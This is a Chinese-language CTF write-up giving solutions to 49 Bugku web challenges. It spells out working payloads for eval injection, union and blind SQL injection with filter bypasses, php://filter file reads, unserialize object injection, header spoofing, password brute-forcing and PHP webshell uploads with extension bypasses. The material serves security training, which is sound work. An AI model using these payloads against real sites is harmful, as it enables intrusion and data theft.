Bugku-WEB
1、web2
查看源代码,在url前面加上view-source:,搜索flag即可
2、计算器
发现一个输入框,但是限制了输入长度,当然这是可以绕过的(前端),可以用开发者工具修改input的maxlength属性,或者直接使用bp抓包改包。查看源代码,发现flag放在前端js中。。。
3、web基础$_GET
get传值,构造 ?what=flag
4、web基础$_POST
post传值、使用firefox的hackbar,构造 what=flag
5、矛盾
get传值,绕过is_numeric(),直接构造 ?num=1xx
在php中 == 判断时当数字与字符串作比较时,系统会先将字符串转化为数字,再与数字进行比较。所以1xx转化为1。同理的还有 in_array(‘abc’,[0,1,2])===true 比较时会使用弱等于(’abc’==0)
6、web3
查看源代码,在最后发现一串HTML十进制编码,用&和#作为前缀,中间为十进制数字,使用半角分号(;)作为后缀,其中后缀也可以没有。类似的还有十六进制,则使用Z,比十进制多了个x。
http://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode在线解码
得到flag
7、域名解析
听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
在hosts文件中添加123.206.87.240 flag.baidu.com即可
原理:https://zhidao.baidu.com/question/1772371256369572340.html
https://blog.csdn.net/gui951753/article/details/83070180
8、你必须让他停下
发现页面一直在刷新,查看其源代码也一直在改变,抓包查看每一个页面。
第一次flag is here,第二次就出现了flag{xxxxxx}
9、本地包含
第一行说明存在flag.php文件,猜测flag也在里面。第二行从全局说明$a可以通过get传值,因为_REQUEST中的变量通过GET、POST、COOKIE输入机制传递给脚本文件
第三行说明可以利用eval的命令执行漏洞
方法一:?hello=1);show_source(%27flag.php%27);var_dump(3
方法二:?hello=1);include $_POST['f'];//
在POST区域:f=php://filter/convert.base64-encode/resource=flag.php
方法三:?hello=get_file_contents('flag.php')或者?hello=file('flag.php')
参考:https://blog.csdn.net/dyw_666666/article/details/82389457
10、变量一
根据提示flag In the variable !
又有eval("var_dump($$args);");
可以使用超全局变量GLOBALS打印所有变量
构造 ?args=GLOBALS
11、web5
提示jspfuck,查看源代码,发现一段jother编码,放入google的console即可,要把最外面的括号也一起放入。
12、头等舱
页面和源代码都没有啥有用的信息,抓包试试,在Response中发现flag
13、网站被黑
页面和源代码都没有啥有用的信息,抓包试试,无果。
用御剑扫描网站,发现shell.php,需要输入密码。
没有提示,只能爆破
利用bp(professional)的intruder模块,添加password list,开始爆破
所以密码是hack,输入得到flag
14、管理员系统
是一个登录页面,随便输入用户密码,提示IP禁止访问,请联系本地管理员登陆,IP已被记录。
查看源代码,在最下面发现一段base64编码,解码得到test123,猜测是密码,用户名应该是admin。
bp抓包,添加X-Forwarded-For:127.0.0.1
send即可得到flag
15、web4
提示:看看源代码把。
查看源代码,发现一段js代码,
根据代码在线解密https://escape.supfree.net/
利用notepad++的JSTools插件的JSFormat功能美化js代码,得到
根据if条件在输入框输入67d70。。。,得到flag
16、flag在index里
首页只有一个超链接,点击跳转到http://123.206.87.240:8005/post/index.php?file=show.php,猜测是本地包含。
御剑扫描,无果
尝试flag.php,发现页面没有报错,但是没有显示,于是使用base64编码的方式读取,还是没有,突然看到题目“flag在index里”,构造?file=php://filter/convert.base64-encode/resource=index.php
base64解码得到flag
17、输入密码查看flag
只有一个密码框,提示是五位数,bp爆破即可。
bp的intruder的payload type的number,10000 - 99999 ,step为1
得到
输入13579得到flag
18、点击一百万次
提示:JavaScript,查看源代码是一段js代码,会提交form表单,传clicks值,
需要点击一百万次,直接抓包修改clicks,发现不行。。。
利用hackerbar post传值可以。。。
直接抓包
post传值
好吧,差挺多的,不能单纯修改GET和添加clicks=1000001,以后要修改为POST传值先利用hackbar构造一个header
19、备份是个好习惯
页面只有一串奇怪的字符串。
标题感觉是提示bak文件,御剑扫描,只有index.php,在后面加上.php,类似的还有.index.html.swp
下载了bak文件,得到index.php源码
md5碰撞,两个都为0e开头,https://www.cnblogs.com/Primzahl/p/6018158.html
构造 ?kekeyy1=s878926199a&kekeyy2=s155964671a
得到flag
20、成绩单
sql注入。
判断闭合方式
输入1,返回成绩,输入1',返回为空,猜测是单引号闭合,输入1",返回成绩
输入1'#,返回成绩,说明#可以注释
判断字段数
1' order by 4#返回结果
1' order by 5#返回为空,说明字段数为4
判断回显处
-1' union select 1,2,3,4 #,发现全部回显
1、查库
-1' union select database(),2,3,4 #
得到 skctf_flag
2、查表
-1' union select table_name,2,3,4 from information_schema.tables where table_schema="skctf_flag" #
得到 fl4g
where条件中要加引号。
3、查列名
-1' union select column_name,2,3,4 from information_schema.columns where table_name="fl4g" #
得到 skctf_flag
4、查flag
-1' union select skctf_flag,2,3,4 from fl4g#
其中表名fl4g和列名不能带引号。
21、秋名山老司机
py脚本
要我们在2s内计算表达式并post传值,只能通过脚本才行。
代码
22、速度要快
py代码
抓包,发现Response中有一个flag,两次base64解码
23、cookies欺骗
页面有一串看不懂的字符串,url有点说法。
line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ= 解码为keys.txt
修改filename为flag.txt(无果),flag.php(无果),index.php(有了)
line表示哪一行,写一个脚本。
要加上http://,在浏览器中可以不加http://,因为浏览器会自动帮你加上
得到index.php源代码
if(in_array($file, $file_list)),所以要先加cookie
利用firefox的Modify Headers增加cookie,同时将filename改为keys.php
查看源代码得到flag
24、never give up
查看源代码,发现1p.html
访问123.206.87.240:8006/test/1p.html,发现被重定向
于是在前面加上view-source:
得到
unescape解码
看见"==",base64解码
再unescape解码
访问f412a3g.txt直接得到flag,或者根据php代码构造条件
1、if(!$_GET['id'])以及id==0
需要构造$id="0dasd"
2、data = file_get_contents($a,'r')
可以利用php://input,该文件内容为post值
3、strlen($b)>5 and eregi("111",substr($b,0,1),"1114") and substr($b,0,1)!=4
eregi可用%00绕过
构造?id=0dasdasd&a=php://input&b=%001111111
post值为bugku is a nice plateform!
25、welcome to bugkuctf
查看源代码,得到
base64解码得到
index.php的源码肯定没有给全,再查看index.php的源码。
index.php:
1、传入的文件名中不能存在包含flag
2、包含$file
2、对password进行反序列化,并echo password
hint.php:
1、提示flag.php,说明flag在flag.php中
2、存在魔术方法toString(),与index.php中的echo对应
3、会echo file_get_contents($this->file),一切都解决了。
password反序列化代码
构造?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
post:welcome to the bugkuctf
26、过狗一句话
hint:
这段代码就相当于assert($_GET[‘s’]);
assert 和 eval 会把字符串当成php代码来执行。
尝试:
s=phpinfo()
s=var_dump($GLOBALS)
正解:
s=print_r(scandir('./'));
27、字符?正则
代码中出现的符号说明:
.匹配任意除换行符"\n"外的字符
*匹配前一个字符0次或者多次
{} {m}匹配前一个字符m次,{m,n}匹配前一个字符m至n次,若省略n,则匹配m至无限次
[]字符集。对应的位置可以是字符集中任意字符。字符集中的字符可以逐个列出,也可以给出范围,如[abc]或[a-c]。[^abc]表示取反,即非abc。
()被括起来的表达式将作为分组,从表达式左边开始没遇到一个分组的左括号“(”,编号+1.分组表达式作为一个整体,可以后接数量词。表达式中的|仅在该组中有效。
[:punct:]代表标点符号(punctuation symbol),亦即:" ' ? ! ; : $...
/i表示不分大小写
直接构造?id=keykeyppppkey:/p/keya:
居然不行,发现最后的#改成除了#都可以。。。。。。。。。。。醉了
28、前女友(SKCTF)
strcmp数组绕过,md5数组绕过。。。
构造 ?v1[]=1&v2[]=2&v3[]=3
29、login1(SKCTF)
hint:sql约束攻击
约束SQL注入的原理就是利用的约束条件,比如最长只能有2个字符的话,如果你输入scl,数据库中存的是sc,那么别人用sc注册一个用户名,就可以登陆。
还有一个可以利用的地方就是SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符的,也就是说"scl"=="scl ",同样我们可以通过注册用户名为"scl "的账号来登陆"scl"的账号。
参考:https://blog.csdn.net/destiny1507/article/details/82900421
此题注册"admin ",登录得到flag
30、你从哪里来
are you from google?
猜测修改referer
使用bp抓包改包,headers添加
referer:https://www.google.com
注意是https://
得到flag
31、md5 collision(NUPT_CTF)
题目是md5碰撞,然后提示please input a
md5碰撞,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行 所以a的md5值也要为0eXXXXXXXXX。
32、程序员本地网站
请从本地访问!
bp抓包改包,headers添加
x-forwarded-for:127.0.0.1
得到flag
33、各种绕过
1、urldecode()二次编码绕过
2、sha1()数组绕过
构造?id=%256D%2561%2572%2567%2569%256E&uname[]=1
post:passwd[]=2
得到flag
34、web8
1、extract()函数变量覆盖漏洞,但是这里好像用不到
2、file_get_contents($fn),使用php://input绕过
构造 ?ac=1&fn=php://input
post:1
得到flag
35、细心
提示:想办法变成admin
没啥线索,御剑扫描,扫到robots.txt
robots中提示:http://123.206.87.240:8002/web13/resusl.php
根据提示,想办法变成admin
构造 ?x=admin
得到flag
36、求getshell
文件上传
提示:My name is margin,give me a image file not a php
bp抓包改包,
上传a.php,
1、修改Content-Type: image/jpeg
2、修改Content-Type: mUltipart
3、修改 filename="a.php"
成功上传,但是被重命名为jpg,无法用菜刀连
4、尝试修改后缀名,php2, php3, php4, php5,phps, pht, phtm, phtml之后,发现只有php5可以绕过
得到flag
后来想着能不能用图片马,copy a.png/b+1.php yjh.png
上传成功,post:pass=phpinfo();
但是提示405 Not Allowed。。。
估计可能是静态页面
37、INSERT INTO注入
提示:
x-forwarded-for为注入点,因为bool盲注没有错误回显,所以采用时间盲注,$ip_arr=explode(',',$ip);过滤了逗号
case when exp1 then sleep(4) else 1 end
查表名的代码:
注意,str1两边要加上引号''
38、这是一个神奇的登陆框
简单的sql注入
bp抓包
1、查字段数
admin_name=amsoasod" order by 3#&admin_passwd=aaaa&submit=GO+GO+GO
得到 Unknown column '3' in 'order clause'
2、admin_name=amsoasod" union select 1,2 %23&admin_passwd=aaaa&submit=GO+GO+GO
发现只返回了一个 1,说明是回显第一个字段
3、admin_name=amsoasod" unionselectdatabase(),2%23&admin_passwd=aaaa&submit=GO+GO+GO
4、admin_name=amsoasod" union select table_name,2frominformation_schema.tables wheretable_schema='bugkusql1'%23&admin_passwd=aaaa&submit=GO+GO+GO
5、admin_name=amsoasod" union select column_name,2frominformation_schema.columns wheretable_name='flag1'%23&admin_passwd=aaaa&submit=GO+GO+GO
6、admin_name=amsoasod" union select flag1fromflag1 %23&admin_passwd=aaaa&submit=GO+GO+GO
39、多次
异或注入
?id=1'^(length('union')!=0)%23
首先,异或同为0,不同为1。如果页面出现错误,说明id=0,可推断0^(length('union')!=0)为0,所以length('union')!=0,说明没有被过滤
通过以上的方法我们可以找到所有被过滤的字符 select union or and 而limit和from没有被过滤
notes: '1'会被转化为0
2、开始注入,测字段数
?id=1' oorrderby2%23?id=1' oorrderby2--+
notes: 不能用'#',bp抓包发现被改为%20。
3、测库名
?id=-1' ununionion seselectlect1,database() %23
得到 web1002-1
4、测表名
?id=-1' ununionion seselectlect 1,group_concat(table_name)frominfoorrmation_schema.tables wheretable_schema='web1002-1'%23
得到flag1
5、测字段名
?id=-1' ununionion seselectlect 1,group_concat(column_name)frominfoorrmation_schema.columns wheretable_name='flag1'%23
得到flag1
查flag
?id=-1' ununionion seselectlect1,flag1 from flag1 %23
得到flag
40、PHP_encrypt_1(ISCCCTF)
目测是解码,自己写个解密脚本
41、文件包含2
打开页面发现显示不出来,查看源码有一个注释"upload.php" 打开upload.php,出现了上传文件。
上传一句话木马
后用菜刀连
42、flag.php
提示:hint
构造 ?hint=1
得到
key的初值为"",添加 cookie:ISecer=s:0:"";
43、sql注入2
1、解题思路:
1)随便输入了几个用户名,返回用户名不存在,并没有对密码进行检验。
那我们可以猜测是先查找用户名,如果存在,再验证密码。
2)尝试admin用户名,返回密码错误,说明该用户名存在。然后试试在admin后加上单引号,但是返回是用户名不存在,这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息。也就不能使用报错注入了,我们发现有两种返回信息:username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。
3)猜测后台的验证:
$sql= select *from users whereusername=$username;
如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成
whereusername=’admin’and(substring(database(),1,1)=’a’)#
如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。
4)但是这道题过滤了and!!!
尝试加上and返回:
illegal character!!@_@
经过尝试发现还过滤了空格,逗号,等号,for,井号 空格用括号代替,等号用<>(一种不等号)代替
5) 法一:
select*fromuserswhereusername ='admin'^(ascii(mid(database()from(1)))<>98)^1#';
payload:
uname=admin'^(ascii(mid(database()from(1)))<>98)^1-'&passwd=admin
返回: password error!!@_@
为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for 的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’ ^ 1 ^ 0
返回值是username does not exist!
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’ ^ 0 ^ 0
返回值会是password error! 这就构成了布尔报错注入。
6) 法二:
先反转 REVERSE(MID((passwd)from(-%d)) 再去最后一位 mid(REVERSE(MID((passwd)from(%-d)))from(-1)) 在比较ASCII ascii(mid(REVERSE(MID((passwd)from(%-d)))from(-1)))>1
mysql测试:
select*fromuserswhereusername ='admin'-ascii(mid(REVERSE(mid((password)from(-1)))from(-1)))<1-''
notes: 'admin'转化为0,所以当ascii(mid(REVERSE(mid((password)from(-1)))from(-1)))=98 成立时总值为-1,从而输出
usernameerror!!@_@
即第一位是'b'
py代码:
44、孙xx的博客
参考链接:https://blog.csdn.net/u011377996/article/details/79340100
45、Trim的日记本
御剑扫描。show.php中得到flag。。。
46、login2(SKCTF)
bp抓包,发现Response中有一个tips,base64解码得到
构造 username='union select '0CC175B9C0F1B6A831C399E269772661'#&password=a
但是不知道为啥登不进去。。。。
参考网址:https://www.cnblogs.com/blili/p/9045280.html
47、login3(SKCTF)
尝试用户名,显示 username does not exist!
使用admin时,显示 password error!
判断注入点为username
bool盲注,
过滤了好多:and ----- 所以只能用 ^
substr可用、
1、查库名的长度
admin'^(length(database())<>7)^1-'
返回username does not exist! 即说明长度正确
2、爆库名
爆列名,发现过滤了information。。。。
猜测admin表,password字段。。。。
找了好几个md5解密网站,只有这个免费 https://www.somd5.com/
md5解密得到password,登录得到flag
48、文件上传2(湘湖杯)
1、尝试
op=index.php 提示我们不存在这样的页面,但事实是存在的
op=index 没有出现提示 但页面是空的
op=php://filter/read=convert.base64-encode/resource=index
2、得到
2、
通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。通过御剑后台扫描扫描出后台的信息,有flag.php页面,则
构造 ?op=php://filter/read=convert.base64-encode/resource=flag
则获得flag的base64加密后的数据,进行解密,获得flag。
49、login4
hint:CBC字节翻转攻击
参考网址:https://blog.csdn.net/zpy1998zpy/article/details/80684485
下载.注意最前面有个店文件http://123.206.31.85:49168/.index.php.swp
注意index前面有个点
代码有点混乱。。
可以看出我们传入的用户名和密码是经过序列化的,那我们将用户名admik,密码123序列化后再进行攻击,序列化后:
s:2:{s:8:”username”;s:5:”admik”;s:8:”password”;s:3:”123″;}
未完待续。